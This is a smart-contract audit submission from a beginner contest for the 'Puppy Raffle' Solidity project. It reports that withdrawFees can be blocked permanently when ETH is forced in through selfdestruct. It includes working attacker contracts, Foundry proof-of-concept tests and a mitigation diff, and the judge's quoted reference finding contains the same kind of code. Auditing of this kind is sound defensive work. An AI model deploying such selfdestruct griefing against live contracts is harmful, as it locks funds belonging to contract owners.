Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Withdrawing fees is impossible

notaltera

PuppyRaffle::withdrawFees function had a checks that prevent a withdrawal of fees when an attacker forcefully sends ETH into the protocol via selfdestruct

Description

The PuppyRaffle::withdrawFees function had a checks that requires the balance of raffle is the same as the totalFees

function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

This check was meant to made sure that no player is currently participating in the raffle

But this also means that if the contract had more balance than the totalFees, even after there is no player, it is impossible to call this function properly

Risk

Likelihood:

When someone forcefully send ETH to the contract using selfdestruct

Impact:

No one can withdraw the fees

Proof of Concept

  1. The attacker sends ETH forcefully using a smart contract and calling selfdestruct

  2. raffle runs normally as usual until the owner tries to call PuppyRaffle::withdrawFees but failed, even after the winner si selected and the prize being distributed

Add the folowing contract to the test/PuppyRaffleTest.t.sol test suite

contract SelfDestruct {
address raffle;
constructor(address puppyRaffleAddress) {
raffle = puppyRaffleAddress;
}
​
function selfDestruct() public {
if(address(this).balance == 0) revert();
selfdestruct(payable(address(raffle)));
}
​
receive() external payable{}
}

Then add the following test function into test/PuppyRaffleTest.t.sol::PuppyRaffleTest test suite

function testCannotCallWithdrawWhenSelfdestruct() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
puppyRaffle.selectWinner();
assertEq(puppyRaffle.previousWinner(), playerFour);
​
SelfDestruct destroyer = new SelfDestruct(address(puppyRaffle));
vm.deal(address(destroyer), 1);
​
uint256 stateVariableTotalfees = uint256(puppyRaffle.totalFees());
uint256 actualFeesAfterSelectWinnerBeforeAttack = address(puppyRaffle).balance;
​
destroyer.selfDestruct();
​
uint256 actualFeesAfterSelectWinnerAfterAttack = address(puppyRaffle).balance;
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
​
assert((actualFeesAfterSelectWinnerAfterAttack - actualFeesAfterSelectWinnerBeforeAttack) == 1);
assertEq(stateVariableTotalfees, actualFeesAfterSelectWinnerBeforeAttack);
}

Recommended Mitigation

Immedietly calls the withdrawFees() function everytime the winner had been selected and the prize had been distributed so that we dont need to add the checks in the withdrawFees function

function selectWinner() external {
.
.
.
​
+ withdrawFees();
}
function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!